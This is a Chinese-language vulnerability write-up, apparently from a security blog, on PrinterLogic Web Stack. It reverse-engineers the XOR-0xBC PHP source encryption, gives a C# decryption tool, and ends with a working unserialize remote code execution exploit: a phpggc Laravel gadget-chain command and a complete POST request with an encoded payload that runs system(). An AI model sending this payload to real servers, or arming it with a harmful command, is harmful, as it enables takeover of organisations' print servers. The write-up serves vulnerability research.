看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。
这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。
打开php文件看到文件是加密的
找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0
,查看php.ini的配置
用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。
跟进到sub_100011D0
确认解密逻辑位于sub_10001000函数中,伪代码如下
1int __cdecl sub_10001000(int a1, int a2)
2{
3 int v2; // [email protected]
4 int result; // [email protected]
5 int v4; // [email protected]
6 unsigned int v5; // [email protected]
7 int v6; // [email protected]
8 char v7; // [email protected]
9 char v8; // [email protected]
10 unsigned int v9; // [email protected]
11 unsigned int v10; // [email protected]
12 int v11; // [email protected]
13 unsigned int v12; // [email protected]
14 int v13; // [email protected]
15 int v14; // [email protected]
16 int v15; // [email protected]
17 int v16; // [email protected]
18 int v17; // [email protected]
19 int v18; // [email protected]
20 int v19; // [email protected]
21 int v20; // [email protected]
22 unsigned int v21; // [sp+4h] [bp-8h]@3
23 int v22; // [sp+8h] [bp-4h]@14
24
25 v2 = a1;
26 if ( a1
27 && *(_DWORD *)(a1 + 44)
28 && zend_stream_fixup(a1, &a1, &v21) != -1
29 && *(_DWORD *)(v2 + 52) == 4
30 && *(_DWORD *)v2
31 && *(_DWORD *)(v2 + 20) )
32 {
33 v4 = v21;
34 v5 = 0;
35 v6 = v21 >= 0x9F;
36 if ( v21 >= 0x9F )
37 {
38 do
39 {
40 if ( v5 >= 0x9F )
41 break;
42 v7 = *(&a_phpHeaderHttp[a1
43 - (_DWORD)"<?php\n"
44 "header('HTTP/1.1 500 Internal Server Error');\n"
45 "echo 'PrinterLogic decoder is not installed, please contact customer support for"
46 " assistance';\n"
47 "exit();\n"
48 "?>PL"]
49 + v5);
50 v8 = a_phpHeaderHttp[v5];
51 v6 = v7 == v8;
52 ++v5;
53 }
54 while ( v7 == v8 );
55 v4 = v21;
56 }
57 if ( v6 )
58 {
59 v9 = v4 - 159;
60 v10 = emalloc__4(v4, v5);
61 v11 = v10;
62 v12 = 0;
63 v22 = v10;
64 if ( v9 )
65 {
66 if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
67 {
68 v13 = a1;
69 do
70 {
71 *(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
72 *(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
73 *(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
74 *(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
75 v12 += 64;
76 }
77 while ( v12 < (v9 & 0xFFFFFFC0) );
78 }
79 if ( v12 < v9 )
80 {
81 v14 = v11 + v12;
82 v15 = 159 - v22;
83 v16 = v9 - v12;
84 do
85 {
86 v17 = v15 + v14++;
87 *(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
88 --v16;
89 }
90 while ( v16 );
91 v11 = v22;
92 }
93 }
94 memset((void *)(v11 + v9), 0, 0x9Fu);
95 v18 = a2;
96 a1 = *(_DWORD *)(v2 + 20);
97 v21 = *(_DWORD *)(v2 + 8);
98 *(_DWORD *)(v2 + 20) = v11;
99 *(_DWORD *)(v2 + 8) = v9;
100 v19 = dword_10003090(v2, v18);
101 *(_DWORD *)(v2 + 20) = a1;
102 v20 = v19;
103 *(_DWORD *)(v2 + 8) = v21;
104 efree__4(v11);
105 result = v20;
106 }
107 else
108 {
109 result = dword_10003090(v2, a2);
110 }
111 }
112 else
113 {
114 result = dword_10003090(v2, a2);
115 }
116 return result;
117}
关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc
伪代码中有一个v4 - 159
刚好截取到这个地方
用0x80 ^ 0xBC
试试
1>>> 0x80 ^ 0xBC
260
3>>> chr(60)
4'<'
看起来像是php的起始标签<
,再试试第二位第三位
没错了就是仅仅异或了一个0xBC
如此写脚本解密
1using System;
2using System.Collections.Generic;
3using System.IO;
4using System.Linq;
5using System.Text;
6using System.Threading.Tasks;
7
8namespace ConsoleApp5
9{
10 internal class Program
11 {
12
13 static List<string> fileList = new List<string>();
14 static string encPath = @"";
15 static void Main(string[] args)
16 {
17 if (args.Length < 2)
18 {
19 Console.WriteLine("decode.exe encdir outdir");
20 return;
21 }
22 else
23 {
24 Console.WriteLine($"{args[0]} {args[1]}");
25 }
26 encPath = args[0];
27 ForeachForldersAndFiles(encPath);
28 Console.WriteLine($"处理文件总数 {fileList.Count}");
29 foreach (var file in fileList)
30 {
31 Decode(file, args[1]);
32 }
33 Console.WriteLine("decode done!");
34 }
35 static void ForeachForldersAndFiles(string path)
36 {
37 DirectoryInfo di = new DirectoryInfo(path);
38 DirectoryInfo[] arrDir = di.GetDirectories();
39
40 foreach (DirectoryInfo dir in arrDir)
41 {
42 ForeachForldersAndFiles(di + dir.ToString() + "\\");
43 }
44
45 foreach (FileInfo fi in di.GetFiles())
46 {
47 string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
48 if (content.Contains("PrinterLogic decoder is not installed"))
49 {
50 fileList.Add(fi.FullName);
51 Console.WriteLine($"add {fi.FullName}");
52 }
53 }
54 }
55 static void Decode(string infile, string outfile)
56 {
57 Console.WriteLine("处理 " + infile);
58 byte key = 0xBC;
59 FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
60 BinaryReader binaryReader = new BinaryReader(fileStream);
61
62 string outfilepath = infile.Replace(encPath, outfile);
63
64 string directoryName = new FileInfo(outfilepath).DirectoryName;
65 if (!Directory.Exists(directoryName))
66 {
67 Directory.CreateDirectory(directoryName);
68 }
69
70 StreamWriter streamWriter = new StreamWriter(outfilepath);
71 long length = fileStream.Length;
72 while (length > 0)
73 {
74 byte tmpByte = binaryReader.ReadByte();
75 byte resByte = Convert.ToByte(tmpByte ^ key);
76 char res = Convert.ToChar(resByte);
77 streamWriter.Write(res);
78 length--;
79 }
80 streamWriter.Close();
81 Console.WriteLine("done " + infile);
82 }
83 }
84}
解密之后再来审计
admin\design\reports\chart_image.php
文件中直接用了经典的base64反序列化
1$dataset = unserialize(base64_decode(requeststr("dataset")));
1./phpggc -b -u -f Laravel/RCE2 system 'calc.exe'
1POST /admin/design/reports/chart_image.php HTTP/1.1
2Content-Type: application/x-www-form-urlencoded
3
4dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。